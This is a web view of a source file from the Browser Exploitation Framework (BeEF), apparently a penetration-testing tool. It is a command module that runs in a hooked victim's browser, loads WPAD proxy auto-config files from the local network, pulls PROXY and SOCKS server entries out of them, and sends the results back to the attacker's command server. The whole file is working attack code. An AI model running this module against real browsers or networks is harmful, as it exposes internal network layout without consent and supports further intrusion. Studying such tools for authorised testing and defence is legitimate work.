Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/get_proxy_servers_wpad/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
load_script = function(url) {
10
beef.debug("[Get Proxy Servers] Loading: " + url);
11
var s = document.createElement("script");
12
s.type = 'text/javascript';
13
s.src = url;
14
document.body.appendChild(s);
15
}
16
17
read_wpad = function() {
18
if (typeof FindProxyForURL === 'function') {
19
var wpad = FindProxyForURL.toString();
20
beef.debug("[Get Proxy Servers] Success: Found wpad (" + wpad.length + ' bytes)');
21
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad, beef.are.status_success());
22
} else {
23
beef.debug("[Get Proxy Servers] Error: Did not find wpad");
24
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=false");
25
return;
26
}
27
var proxies = [];
28
var proxyRe = /PROXY\s+[a-zA-Z0-9\.\-_]+:[0-9]{1,5}/g;
29
while (match = proxyRe.exec(wpad)) {
30
proxies.push(match[0]);
31
}
32
var proxyRe = /SOCKS\s+[a-zA-Z0-9\.\-_]+:[0-9]{1,5}/g;
33
while (match = proxyRe.exec(wpad)) {
34
proxies.push(match[0]);
35
}
36
if (proxies.length == 0) {
37
beef.debug("[Get Proxy Servers] Found no proxies");
38
return;
39
}
40
beef.debug("[Get Proxy Servers] Found "+proxies.length+" proxies: " + proxies.join(','));
41
beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','), beef.are.status_success());
42
}
43
44
load_script("http://wpad/wpad.dat");
45
load_script("http://wpad/wpad.pac");
46
47
load_script("http://wpad/proxy.dat");
48
load_script("http://wpad/proxy.pac");
49
50
setTimeout("read_wpad()", 10000);
51
52
});
53
54
55